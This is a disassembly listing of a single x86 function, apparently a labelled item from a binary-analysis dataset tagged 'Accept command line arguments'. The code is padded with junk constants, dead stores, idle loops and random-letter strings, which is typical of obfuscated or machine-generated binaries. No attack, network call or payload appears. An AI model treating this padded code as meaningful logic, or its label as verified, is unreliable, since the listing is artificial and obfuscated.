Function at 0x10028c53
Capabilities:
Accept command line arguments

Disassembly:
mov eax, 0x10065d1b
call fcn.10064760
sub esp, 0x608
push ebx
push esi
push edi
mov dword [ebp - 0x10], esp
lea ecx, [ebp - 0x148]
push 3
call fcn.10006b10
xor ebx, ebx
lea ecx, [ebp - 0x36c]
mov dword [ebp - 4], ebx
mov dword [ebp - 0x18], 0xfffffff8
push 4
call fcn.10006b10
mov byte [ebp - 4], 1
mov dword [ebp - 0x20], 0xfffffff9
mov dword [ebp - 0x28], 0xfffffff8
mov dword [ebp - 0x2c], 0xf6ed7348
mov dword [ebp - 0x28], 0x4f03
cmp dword [ebp - 0x28], 0x4f68
jle 0x10028cfe
mov esi, ebx
mov edi, ebx
lea eax, [edi + esi]
cdq
lea ecx, [ebp - 0x5ec]
push edx
push eax
call fcn.10001ac9
pop ecx
pop ecx
cmp dword [eax + 0x14], 0x10
jb 0x10028cd7
mov eax, dword [eax]
push eax
call fcn.1004e1ed
pop ecx
push ebx
push 1
lea ecx, [ebp - 0x5ec]
call fcn.100073ae
inc edi
cmp edi, 0x3b99
jl 0x10028cbc
inc esi
cmp esi, 0x56ab
jl 0x10028cba
push 2
mov dword [ebp - 0x58], ebx
pop edi
cmp dword [ebp - 0x58], 3
jge 0x10028d1b
mov ecx, dword [ebp - 0x58]
mov eax, dword [ebp - 0x148]
mov dword [eax + ecx*4], edi
inc dword [ebp - 0x58]
jmp 0x10028d04
cmp dword [ebp - 0x28], 0x4d61
jge 0x10028d2f
push str.bhgxhvvk_npicly_ippnjtpvk_hwq
call fcn.1004e1ed
pop ecx
push ebx
push ecx
lea edx, [ebp - 0x58]
mov dword [ebp - 4], 1
lea ecx, [ebp - 0x36c]
call fcn.10025a9a
pop ecx
pop ecx
mov dword [ebp - 0x58], ebx
jmp 0x10028d5e
mov eax, dword [ebp - 0x58]
mov dword [ebp + eax*4 - 0x288], 0xffffffff
inc dword [ebp - 0x58]
cmp dword [ebp - 0x58], 1
jl 0x10028d4d
mov dword [ebp - 0x18], ebx
cmp dword [ebp - 0x18], edi
jg 0x10028e8c
mov edx, dword [ebp - 0x36c]
mov ecx, dword [ebp - 0x148]
mov dword [ebp - 0x48], edx
mov dword [ebp - 0x30], ecx
mov dword [ebp - 0x2c], 0xf985589b
mov dword [ebp - 0x40], 0x7736eae1
mov dword [ebp - 0x1c], ebx
jmp 0x10028da6
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x52c], 0x129b8575
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 3
jl 0x10028d95
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x2c], 0x722ba7b7
dec dword [ebp - 0x20]
mov esi, dword [ebp - 0x20]
mov eax, dword [ebp - 0x18]
mov dword [edx + 8], esi
imul eax, dword [ecx + 8]
xor ecx, ecx
push 0
cmp eax, 0x37b3
mov eax, dword [ebp - 0x18]
setg cl
add eax, ecx
mov dword [ebp - 0x288], eax
mov edx, dword [ebp - 0x18]
lea ecx, [eax + esi]
mov eax, dword [ebp - 0x148]
cmp ecx, dword [eax + edx*4]
pop eax
setl al
mov dword [ebp - 0x28], eax
mov ecx, dword [ebp - 0x18]
mov esi, dword [ebp - 0x18]
mov edi, dword [ebp - 0x18]
mov edx, dword [ebp - 0x28]
mov eax, dword [ebp - 0x148]
sub edx, 0x6d06
push 2
add edx, dword [eax + ecx*4]
mov eax, dword [ebp - 0x30]
neg edx
sbb edx, edx
xor ecx, ecx
inc edx
sub edx, dword [eax + 4]
mov eax, dword [ebp - 0x18]
cmp edx, eax
mov edx, dword [ebp - 0x30]
setle cl
xor eax, eax
add ecx, dword [ebp - 0x18]
cmp eax, ecx
sbb eax, eax
xor ecx, ecx
neg eax
cmp eax, dword [edx + 4]
mov eax, dword [ebp - 0x148]
setge cl
xor edx, edx
cmp ecx, 0x1bb3
setle dl
sub edx, dword [eax + esi*4]
neg edx
sbb edx, edx
xor ecx, ecx
inc edx
cmp edx, dword [eax]
mov eax, dword [ebp - 0x40]
setg cl
xor edx, edx
cmp ecx, eax
mov eax, dword [ebp - 0x148]
mov ecx, dword [ebp - 0x30]
setg dl
sub edx, 0xfffffffb
add edx, dword [eax + edi*4]
neg edx
pop edi
sbb edx, edx
inc edx
mov dword [ebp - 0x2c], edx
inc dword [ebp - 0x18]
mov edx, dword [ebp - 0x48]
cmp dword [ebp - 0x18], edi
jle 0x10028d82
lea ecx, [ebp - 0x36c]
call fcn.10006b72
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x148]
call fcn.10006b72
mov eax, dword [0x1009a32c]
test al, 1
jne 0x10028ee3
or eax, 1
mov dword [0x1009a32c], eax
mov dword [ebp - 4], 4
mov dword [0x1009a30c], ebx
mov dword [0x1009a310], ebx
call fcn.1002cfb8
push 0x100668ec
mov dword [0x1009a30c], eax
call fcn.1004e1c3
or dword [ebp - 4], 0xffffffff
pop ecx
sub esp, 0xc
push 1
push ecx
push ecx
call fcn.10025baf
add esp, 0x18
cmp byte [0x10081b2d], 0
je 0x10028f43
mov dword [ebp - 0x1c], ebx
jmp 0x10028f11
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0xc8], 0xffffffff
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 1
jl 0x10028f00
mov dword [ebp - 0xc8], 0x11
jmp 0x10028f35
mov dword [ebp - 0x2c], ebx
mov dword [ebp - 0x40], ebx
mov eax, dword [ebp - 0x2c]
mov dword [ebp - 0x40], eax
dec dword [ebp - 0xc8]
cmp dword [ebp - 0xc8], 0xfffffffe
jg 0x10028f23
jmp 0x1002c924
mov dword [ebp - 0x18], 0xaeef20fe
mov dword [ebp - 0x18], ebx
jmp 0x10028f60
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x2c8], 5
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 3
jl 0x10028f4f
mov dword [ebp - 0x18], ebx
jmp 0x10028f7c
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x27c], 0xa3eaa3e8
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 1
jl 0x10028f6b
mov dword [ebp - 0x18], ebx
jmp 0x1002905a
mov dword [ebp - 0x30], 0xe2c0d37a
mov dword [ebp - 0x34], 0xc88fed6c
mov dword [ebp - 0x34], 0xffffffff
mov dword [ebp - 0x34], ebx
mov dword [ebp - 0x34], 1
mov dword [ebp - 0x34], 0xfffffffc
mov dword [ebp - 0x34], 0xb99bf0bb
mov dword [ebp - 0x34], 0x51404fc4
mov dword [ebp - 0x22c], 0x6daafd55
mov dword [ebp - 0x30], edi
cmp dword [ebp - 0x30], ebx
jl 0x10029040
mov dword [ebp - 0x28], ebx
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp + eax*4 - 0x2c8]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x30]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x30]
mov ecx, dword [ebp - 0x2c8]
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x2c8], ecx
xor eax, eax
cmp ecx, 1
setne al
add eax, 0x19d3388a
je 0x1002901b
cmp dword [ebp - 0x2c0], ebx
je 0x1002901b
xor edx, edx
inc edx
jmp 0x1002901d
mov edx, ebx
mov eax, dword [ebp - 0x18]
xor ecx, ecx
cmp edx, eax
setg cl
xor eax, eax
add ecx, dword [ebp - 0x28]
cmp ecx, 0x4750
setle al
mov dword [ebp - 0x27c], eax
dec dword [ebp - 0x30]
jns 0x10028fd0
push ecx
lea eax, [ebp - 0x22c]
mov cl, 1
push eax
push 0xd85
call fcn.10025175
add esp, 0xc
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], edi
jle 0x10028f8a
mov byte [0x10081b2d], 1
mov eax, 0xe764939e
mov dword [ebp - 0x80], 0xfd3df75d
mov dword [ebp - 0x2bc], eax
mov dword [ebp - 0x2b8], eax
mov dword [ebp - 0x2b4], eax
mov dword [ebp - 0x2b0], eax
mov dword [ebp - 0x28], ebx
mov dword [ebp - 0x18], edi
push 0xc
mov dword [ebp - 0x30], 0xec8167ba
mov dword [ebp - 0x80], ebx
pop esi
cmp dword [ebp - 0x80], 0xffffffe4
jge 0x1002931d
mov dword [ebp - 0x24], 0x35f394a2
mov dword [ebp - 0x60], 0x60f7e730
mov dword [ebp - 0x24], ebx
cmp dword [ebp - 0x24], 0xfffffff6
je 0x100292a8
push 1
lea ecx, [ebp - 0x138]
call fcn.10006b10
push 1
push 0x759e
lea eax, [ebp - 0x21c]
mov dword [ebp - 4], 5
push eax
push ebx
push 0xb11
push 0x1bc6
push 0x413
mov dl, 1
lea ecx, [ebp - 0x138]
call fcn.10027861
mov eax, dword [ebp - 0x138]
add esp, 0x1c
mov dword [eax], ebx
cmp dword [eax], esi
jg 0x100291f8
mov dword [ebp - 0x28], 0x7bdf
cmp dword [ebp - 0x28], 0x7d11
jle 0x1002915f
push ebx
call dword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
mov esi, ebx
mov edi, ebx
mov eax, esi
mov ecx, 0x100809d8
cdq
idiv edi
mov eax, edx
cdq
push edx
push eax
call fcn.10006801
inc edi
cmp edi, 0x4d1b
jl 0x10029133
inc esi
cmp esi, 0x2399
jl 0x10029131
push 0xc
pop esi
push 2
pop edi
mov dword [ebp - 0x2c], 0xcc590f02
mov byte [ebp - 4], 6
cmp dword [ebp - 0x28], 0x7a86
jge 0x100291a6
mov edx, str.kxpz_gozr_kfejppd_ngt_glcd_bkzqrca_bxsj_gipi_ocgbeip_kxtqozovk
mov ecx, 0x100809d8
call fcn.1000b005
jmp 0x100291a6
mov dword [ebp - 4], 5
cmp dword [ebp - 0x2c], ebx
jne 0x100291f2
lea eax, [ebp - 0x80]
mov edx, 0x7379
push eax
lea eax, [ebp - 0x60]
mov cl, 1
push eax
push 0x5058
push ebx
push 1
push 0x6e51
push 0x16bd
push 0x5f14
push 0x1ef0
call fcn.10027923
mov eax, dword [ebp - 0x138]
add esp, 0x24
inc dword [eax]
jmp 0x10029110
mov eax, dword [ebp - 0x138]
mov eax, dword [eax]
mov dword [ebp - 0x2bc], eax
test eax, eax
jne 0x1002920d
cmp dword [ebp - 0x24], ebx
jne 0x1002920d
mov edx, ebx
jmp 0x10029210
xor edx, edx
inc edx
mov dword [ebp - 0x28], 0x2625aa9c
xor ecx, ecx
mov eax, dword [ebp - 0x28]
cmp edx, 0x3f50e16f
mov eax, dword [ebp - 0x80]
mov eax, dword [ebp - 0x24]
setge cl
mov eax, dword [ebp - 0x80]
xor edx, edx
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x60]
cmp ecx, eax
setl dl
sub edx, 9
neg edx
sbb edx, edx
inc edx
mov dword [ebp - 0x60], edx
xor edx, edx
mov ecx, dword [ebp - 0x60]
mov eax, dword [ebp - 0x138]
cmp dword [eax], ecx
setg dl
mov dword [ebp - 0x18], edx
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x138]
mov ecx, dword [eax]
cmp ecx, 0xd5297f1f
sbb eax, eax
xor edx, edx
neg eax
cmp ecx, eax
setl dl
sub edx, dword [ebp - 0x80]
mov eax, dword [ebp - 0x138]
neg edx
sbb edx, edx
inc edx
add edx, dword [eax]
je 0x1002928a
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x30], 1
lea ecx, [ebp - 0x138]
or dword [ebp - 4], 0xffffffff
call fcn.10006b72
dec dword [ebp - 0x24]
jmp 0x100290bc
mov dword [ebp - 0x30], 0xffffffee
jmp 0x1002930f
mov dword [ebp - 0x60], 3
cmp dword [ebp - 0x60], ebx
jl 0x1002930c
mov eax, dword [ebp - 0x60]
cmp dword [ebp + eax*4 - 0x2bc], 0xaad50324
mov eax, dword [ebp - 0x60]
sbb edx, edx
xor ecx, ecx
neg edx
mov eax, dword [ebp + eax*4 - 0x2bc]
cmp eax, edx
setge cl
mov dword [ebp - 0x24], ecx
mov dword [ebp - 0x18], ebx
jmp 0x10029301
push ecx
push 0x2eeb
push ecx
mov edx, 0x444
mov cl, 1
call fcn.10025c99
add esp, 0xc
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 3
jle 0x100292e8
dec dword [ebp - 0x60]
jns 0x100292bd
dec dword [ebp - 0x30]
cmp dword [ebp - 0x30], 0xffffffe2
jge 0x100292b1
dec dword [ebp - 0x80]
jmp 0x100290a1
push dword [ebp - 0x21c]
movdqa xmm0, xmmword [0x10073840]
lea eax, [ebp - 0x490]
push eax
lea eax, [ebp - 0x4a0]
mov dword [ebp - 0x270], 0x1007d5d8
push eax
mov dword [ebp - 0x50], 1
lea ecx, [ebp - 0x160]
push ebx
movdqu xmmword [ebp - 0x4a0], xmm0
mov dword [ebp - 0x160], ebx
mov dword [ebp - 0x15c], ebx
mov dword [ebp - 0x158], ebx
call fcn.1000bd43
mov dword [ebp - 4], 8
mov dword [ebp - 0xd0], 0x4ebf8c32
mov dword [ebp - 0x100], 0xfffffffd
mov dword [ebp - 0x28], ebx
push 3
pop ecx
mov dword [ebp - 0x28], ecx
mov dword [ebp - 0x48], 0x720af826
mov dword [ebp - 0x2c], ecx
mov dword [ebp - 0x1c], ebx
jmp 0x100293b4
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x108], 0xae355683
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], edi
jl 0x100293a3
mov dword [ebp - 0x50], ebx
cmp dword [ebp - 0x50], 1
jg 0x100296ea
mov eax, dword [ebp - 0x160]
mov dword [ebp - 0x2c], eax
jmp 0x100293d4
push 3
pop ecx
push ecx
lea ecx, [ebp - 0x2ec]
call fcn.10006b10
push 0x14a6
push ecx
lea eax, [ebp - 0x284]
mov byte [ebp - 4], 9
push eax
lea eax, [ebp - 0x2ec]
mov dword [ebp - 0x98], 0xffffffff
push eax
push ebx
push ecx
mov edx, 0x7246
mov dword [ebp - 0x118], 0x73ae4c7b
call fcn.100280d0
mov eax, dword [ebp - 0x2ec]
add esp, 0x18
lea edi, [eax + 8]
lea ecx, [eax + 4]
mov dword [edi], 1
mov dword [ebp - 0x28], ecx
mov eax, dword [eax]
xor ecx, ecx
mov edx, dword [edi]
mov dword [ebp - 0x18], 0x9dade661
mov dword [ebp - 0x98], eax
mov eax, dword [ebp - 0x98]
cmp edx, eax
setl cl
cmp ecx, edx
jl 0x10029457
cmp dword [ebp - 0x18], ebx
je 0x10029461
cmp dword [ebp - 0x50], ebx
je 0x10029461
xor ecx, ecx
inc ecx
jmp 0x10029463
mov ecx, ebx
mov esi, dword [ebp - 0x50]
xor edx, edx
mov eax, dword [edi]
mov dword [ebp + eax*4 - 0x108], esi
mov eax, dword [ebp - 0x18]
cmp eax, ecx
mov eax, dword [ebp - 0x18]
setg dl
sub edx, 0xfffffffa
neg edx
sbb edx, edx
xor ecx, ecx
inc edx
cmp edx, eax
mov eax, dword [ebp - 0x28]
setne cl
xor edx, edx
cmp ecx, dword [eax]
mov eax, dword [ebp - 0x50]
setl dl
xor ecx, ecx
dec edx
cmp edx, eax
mov edx, dword [ebp - 0x28]
setg cl
xor eax, eax
cmp ecx, 0xffffffff
setne al
xor ecx, ecx
cmp eax, dword [edx]
setg cl
xor eax, eax
cmp ecx, 0x722a
setne al
xor ecx, ecx
mov dword [ebp - 0x118], eax
mov eax, dword [ebp - 0x118]
cmp esi, eax
mov eax, dword [ebp - 0x2c]
setl cl
mov dword [eax + 8], ecx
mov dword [ebp - 0x18], ebx
jmp 0x10029684
mov dword [ebp - 0x24], 0x6cedda56
mov dword [ebp - 0x98], ebx
jmp 0x10029661
push dword [ebp - 0x284]
movdqa xmm0, xmmword [0x100738a0]
lea eax, [ebp - 0x4c0]
push eax
lea eax, [ebp - 0x4d0]
mov dword [ebp - 0x40], 0x580b0b8b
push eax
push ebx
lea ecx, [ebp - 0x238]
mov dword [ebp - 0x238], ebx
movdqu xmmword [ebp - 0x4d0], xmm0
mov dword [ebp - 0x234], ebx
mov dword [ebp - 0x230], ebx
call fcn.1000bd43
push 3
lea ecx, [ebp - 0x3f0]
mov byte [ebp - 4], 0xa
call fcn.10006b10
push ecx
push 1
push 1
lea eax, [ebp - 0x490]
mov byte [ebp - 4], 0xb
push eax
push ecx
push ebx
push ecx
push ecx
lea eax, [ebp - 0x3f0]
mov edx, 0x768a
push 0x1f05
push eax
mov ecx, 0x38ef
call fcn.100262a6
add esp, 0x20
mov byte [ebp - 0x8e], bl
lea eax, [ebp - 0x8e]
push eax
push 1
push ecx
push ecx
push 0x1ca9
push ecx
mov ecx, 0x900
call fcn.10025d01
mov eax, dword [ebp - 0x24]
add esp, 0x20
mov dword [ebp - 0xd0], eax
mov eax, dword [ebp - 0xd0]
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x24]
cmp dword [ebp - 0x24], ebx
je 0x100295bd
mov eax, dword [ebp - 0x24]
mov ecx, dword [ebp - 0x18]
mov eax, dword [ebp - 0x24]
neg ecx
mov eax, dword [ebp - 0x24]
sbb ecx, ecx
xor edx, edx
neg ecx
cmp ecx, eax
mov eax, dword [edi]
push 6
setle dl
xor ecx, ecx
add edx, 0xca4
mov eax, dword [ebp + eax*4 - 0x108]
cmp eax, edx
sete cl
add ecx, ecx
cmp ecx, 7
pop ecx
sbb eax, eax
inc eax
cmp ecx, eax
mov eax, dword [edi]
sbb edx, edx
inc edx
mov ecx, dword [ebp + eax*4 - 0x108]
mov eax, dword [ebp - 0x40]
sub edx, eax
sub edx, ecx
mov ecx, dword [ebp - 0x24]
mov eax, dword [ebp - 0x238]
sub ecx, edx
neg ecx
sbb ecx, ecx
inc ecx
mov dword [eax + 4], ecx
mov eax, dword [ebp - 0x24]
mov ecx, dword [ebp - 0x18]
mov eax, dword [edi]
mov dword [ebp + eax*4 - 0x108], ecx
xor ecx, ecx
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x18]
cmp eax, 1
mov eax, dword [ebp - 0x3f0]
setle cl
mov dword [eax], ecx
lea ecx, [ebp - 0x3f0]
call fcn.10006b72
lea ecx, [ebp - 0x238]
mov byte [ebp - 4], 9
call fcn.10006b72
inc dword [ebp - 0x98]
cmp dword [ebp - 0x98], 1
jg 0x100294f0
push 0x21d7
push 0x7786
mov dl, 1
call fcn.10025e20
dec dword [ebp - 0x18]
pop ecx
pop ecx
cmp dword [ebp - 0x18], 0xffffffeb
jg 0x100294de
dec dword [edi]
js 0x1002969d
mov eax, dword [ebp - 0x2ec]
jmp 0x10029430
push ecx
push ebx
push 1
push 0x6bb
push ecx
push ebx
push ecx
push ecx
lea eax, [ebp - 0x100]
mov edx, 0x4fba
push eax
push 0x63b7
mov ecx, 0x6bf
call fcn.100262a6
add esp, 0x28
mov byte [ebp - 4], 8
lea ecx, [ebp - 0x2ec]
call fcn.10006b72
inc dword [ebp - 0x50]
cmp dword [ebp - 0x50], 1
jle 0x100293d1
push 0xc
pop esi
push 2
pop edi
mov eax, dword [ebp - 0x50]
mov eax, dword [ebp - 0x50]
mov eax, dword [ebp - 0x108]
mov eax, dword [ebp - 0x50]
mov dword [ebp - 0x100], eax
mov dword [ebp - 0x28], 0xfffffffa
cmp dword [ebp - 0x28], ebx
je 0x10029723
cmp dword [ebp - 0x100], ebx
je 0x10029723
mov eax, dword [ebp - 0x160]
cmp dword [eax + 0xc], ebx
je 0x10029723
xor ecx, ecx
inc ecx
jmp 0x10029725
mov ecx, ebx
mov eax, dword [ebp - 0x108]
cmp ecx, 0xffff
mov dword [ebp - 0xd0], eax
mov eax, dword [ebp - 0xd0]
sbb ecx, ecx
mov dword [ebp - 0x28], eax
neg ecx
mov eax, dword [ebp - 0x160]
xor edx, edx
cmp ecx, dword [eax + 8]
mov eax, dword [ebp - 0x28]
setne dl
sub edx, 0x45f8
add eax, edx
mov dword [ebp - 0x108], eax
mov ecx, dword [ebp - 0x50]
sub ecx, eax
neg ecx
sbb ecx, ecx
inc ecx
cmp ecx, dword [ebp - 0x48]
jne 0x1002977b
cmp dword [ebp - 0x50], ebx
jne 0x1002977b
mov eax, ebx
jmp 0x1002977e
xor eax, eax
inc eax
mov dword [ebp - 0x2c], eax
lea ecx, [ebp - 0x160]
or dword [ebp - 4], 0xffffffff
call fcn.10006b72
push 1
lea ecx, [ebp - 0x248]
mov dword [ebp - 0xe8], ebx
call fcn.10006b10
push ecx
lea eax, [ebp - 0x248]
mov dword [ebp - 4], esi
push eax
mov dword [ebp - 0x2c], 7
lea edx, [ebp - 0xa8]
push ecx
mov dword [ebp - 0x40], 0x5520f303
xor cl, cl
mov dword [ebp - 0x28], ebx
call fcn.10025c99
add esp, 0xc
mov dword [ebp - 0xa8], ebx
jmp 0x100297ef
mov eax, dword [ebp - 0xa8]
mov dword [ebp + eax*4 - 0x168], 0xffffffff
inc dword [ebp - 0xa8]
cmp dword [ebp - 0xa8], edi
jl 0x100297d8
push ecx
push 0x5846
push ecx
lea eax, [ebp - 0x85]
mov byte [ebp - 0x85], bl
push eax
push ecx
push ebx
push 0xd62
call fcn.10024340
mov eax, dword [ebp - 0x248]
add esp, 0x1c
mov esi, 0xc422d5fb
mov dword [eax], 0x15
mov dword [ebp - 0x30], 0x995f7626
mov dword [ebp - 0x1c], 0xf1e2cd84
mov eax, dword [ebp - 0x30]
cmp esi, eax
sbb eax, eax
neg eax
cmp eax, 0x522a
jl 0x1002984c
mov eax, dword [ebp - 0x30]
mov eax, dword [ebp - 0x30]
xor edx, edx
mov eax, dword [ebp - 0x168]
mov dword [ebp - 0x2c], eax
mov ecx, dword [ebp - 0x168]
mov eax, dword [ebp - 0x248]
cmp dword [eax], ecx
mov eax, dword [ebp - 0x30]
setne dl
imul eax, edx
cmp eax, dword [ebp - 0x40]
jle 0x10029880
cmp dword [ebp - 0x28], ebx
je 0x10029880
xor ecx, ecx
inc ecx
jmp 0x10029882
mov ecx, ebx
xor eax, eax
cmp ecx, 0xfffa
setne al
mov dword [ebp - 0x30], eax
mov eax, dword [ebp - 0x30]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x1c]
cmp dword [ebp - 0x168], ebx
je 0x100298a7
mov eax, dword [ebp - 0x164]
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x248]
mov dword [ebp - 0x1c], 1
dec dword [eax]
cmp dword [eax], 6
jne 0x1002982b
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x248]
call fcn.10006b72
mov al, byte [0x1007d5d8]
push 0xc
pop esi
mov dword [ebp - 0x124], esi
cmp al, byte [esi + 0x1007d5d8]
je 0x10029901
inc esi
mov dword [ebp - 0x124], esi
cmp esi, 0xe0
jl 0x100298e5
jmp 0x10029cf8
push 4
lea ecx, [ebp - 0x328]
call fcn.10006b10
mov dword [ebp - 4], 0xd
push 3
mov dword [ebp - 0x24], 0x51c8b9ba
mov dword [ebp - 0x54], ebx
pop esi
jmp 0x10029931
mov eax, dword [ebp - 0x54]
mov dword [ebp + eax*4 - 0xf8], edi
inc dword [ebp - 0x54]
cmp dword [ebp - 0x54], esi
jl 0x10029924
lea eax, [ebp - 0x328]
mov dl, 1
push eax
push 0x71ea
push 0x6487
push 0x2319
push ebx
lea eax, [ebp - 0x54]
mov cl, dl
push 0x274
push eax
call fcn.10025686
add esp, 0x1c
mov dword [ebp - 0x54], ebx
jmp 0x10029978
mov eax, dword [ebp - 0x54]
mov dword [ebp + eax*4 - 0x384], 0x2280643b
inc dword [ebp - 0x54]
cmp dword [ebp - 0x54], esi
jl 0x10029967
mov esi, dword [ebp - 0x328]
mov dword [esi + 0xc], ebx
mov eax, dword [esi + 0xc]
cmp dword [ebp + eax*4 - 0xf8], ebx
je 0x100299e8
mov eax, dword [ebp - 0x37c]
xor edx, edx
mov eax, dword [esi + 0xc]
mov eax, dword [ebp + eax*4 - 0xf8]
cmp eax, 1
mov eax, dword [esi + 0xc]
setle dl
xor ecx, ecx
mov eax, dword [ebp + eax*4 - 0xf8]
cmp eax, edx
mov eax, dword [ebp - 0x328]
sete cl
sub ecx, dword [eax + 4]
jne 0x100299d8
mov eax, dword [esi + 0xc]
cmp dword [ebp + eax*4 - 0xf8], ebx
jne 0x100299d8
mov eax, dword [ebp - 0x384]
mov eax, dword [esi + 0xc]
mov eax, dword [ebp + eax*4 - 0xf8]
mov eax, dword [ebp - 0xf0]
mov eax, dword [esi + 0xc]
mov eax, dword [ebp + eax*4 - 0xf8]
mov eax, dword [esi + 0xc]
mov eax, dword [ebp + eax*4 - 0xf8]
mov eax, dword [esi + 0xc]
mov eax, dword [ebp + eax*4 - 0xf8]
mov eax, dword [ebp - 0x384]
mov eax, dword [esi + 0xc]
mov ecx, dword [ebp + eax*4 - 0xf8]
mov eax, dword [esi + 0xc]
inc dword [esi + 0xc]
mov dword [ebp + eax*4 - 0xf8], ecx
cmp dword [esi + 0xc], edi
jle 0x10029986
mov dword [ebp - 0x24], 0xffffffe8
cmp dword [ebp - 0x24], 0xe
je 0x10029b8f
mov dword [ebp - 0x30], 0xffffffff
mov dword [ebp - 0x30], 3
jmp 0x10029b52
mov dword [ebp - 0x28], 0x2143
mov dword [ebp - 0x2c], 0x1506
cmp dword [ebp - 0x2c], 0x9e8
jge 0x10029b21
lea eax, [ebp - 0xd4]
push eax
push 0x1006d9fc
call fcn.1004dc6b
pop ecx
pop ecx
push dword [ebp - 0xd4]
lea ecx, [ebp - 0x154]
call fcn.1000708d
mov byte [ebp - 4], 0xe
cmp dword [ebp - 0xd4], 0
mov dword [ebp - 0x2c], ebx
jle 0x10029ac0
mov edi, dword [ebp - 0x154]
mov esi, ebx
push edi
push 0x1006d9fc
call fcn.1004dc6b
inc esi
add edi, 4
pop ecx
pop ecx
cmp esi, dword [ebp - 0xd4]
jl 0x10029aa7
push dword [ebp - 0x150]
mov esi, dword [ebp - 0x154]
push esi
call fcn.1000b20e
mov edi, dword [ebp - 0xd4]
mov edx, ebx
pop ecx
dec edi
pop ecx
mov ecx, ebx
test edi, edi
jle 0x10029af3
mov eax, dword [esi + ecx*4 + 4]
sub eax, dword [esi + ecx*4]
add ecx, 2
add edx, eax
cmp ecx, edi
jl 0x10029ae3
push edx
push str._ld_n
call fcn.1004e1ed
mov byte [ebp - 4], 0xd
pop ecx
pop ecx
test esi, esi
je 0x10029b21
push esi
call fcn.1004e3b9
pop ecx
mov dword [ebp - 0x154], ebx
mov dword [ebp - 0x150], ebx
mov dword [ebp - 0x14c], ebx
mov eax, dword [ebp - 0x30]
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x30]
push 1
push ecx
lea eax, [ebp - 0x8f]
mov byte [ebp - 0x8f], bl
push eax
push ecx
push ecx
push 0x611
call fcn.10025efb
add esp, 0x18
dec dword [ebp - 0x30]
cmp dword [ebp - 0x30], 0xffffffef
jne 0x10029a50
lea eax, [ebp - 0x92]
mov byte [ebp - 0x92], bl
push eax
push ecx
push 1
push 0x1550
push ecx
mov edx, 0x3ef7
call fcn.10024216
add esp, 0x14
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], 0xe
jne 0x10029a3d
push 2
pop edi
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x328]
call fcn.10006b72
push 0x3dd1
lea eax, [ebp - 0xe8]
mov edx, 0x7fdd
push eax
push 0x22e3
lea eax, [ebp - 0x124]
mov cl, 1
push eax
push 0x7e71
push 1
push ebx
push 0x41d1
call fcn.10028580
mov dword [ebp - 0x1c], 0xdb3ae355
add esp, 0x20
mov dword [ebp - 0x34], 0xeb905d09
mov dword [ebp - 0x34], 0xfffffff6
mov dword [ebp - 0x34], 1
mov dword [ebp - 0x34], 1
mov dword [ebp - 0x34], 0x9ce4562
mov dword [ebp - 0x34], 0xffffffff
mov dword [ebp - 0x34], 0x7631615e
mov dword [ebp - 0x34], 0xbc9fa8bc
mov dword [ebp - 0x34], 0x6acb8f2b
mov dword [ebp - 0x1dc], 0xffff
mov dword [ebp - 0x1c], ebx
jmp 0x10029c38
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x614], 0x8cae2fe8
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 4
jl 0x10029c27
mov dword [ebp - 0x1c], 0x16
jmp 0x10029cee
mov dword [ebp - 0x34], 1
lea ecx, [ebp - 0x46c]
mov dword [ebp - 0x34], 0xfffffff7
mov dword [ebp - 0x34], 0xd513c61c
push 1
call fcn.10006b10
mov dword [ebp - 4], 0xf
mov dword [ebp - 0x34], 0x98ab79ae
mov dword [ebp - 0x18], ebx
jmp 0x10029c92
mov ecx, dword [ebp - 0x18]
mov eax, dword [ebp - 0x46c]
mov dword [eax + ecx*4], 0xfffffffc
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 1
jl 0x10029c7f
mov dword [ebp - 0x18], ebx
jmp 0x10029cae
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x4d8], 0xfffffffa
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], edi
jl 0x10029c9d
lea eax, [ebp - 0x1dc]
push eax
push ecx
push ebx
call fcn.100261d1
add esp, 0xc
xor dl, dl
mov cl, 1
push 0x77e5
push 0x6720
push 1
call fcn.10027076
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x46c]
add esp, 0xc
call fcn.10006b72
dec dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 0x11
jl 0x10029c4a
mov dword [ebp - 0x34], 0x4e2db58
mov dword [ebp - 0x34], 7
mov dword [ebp - 0x34], 0x17ca0029
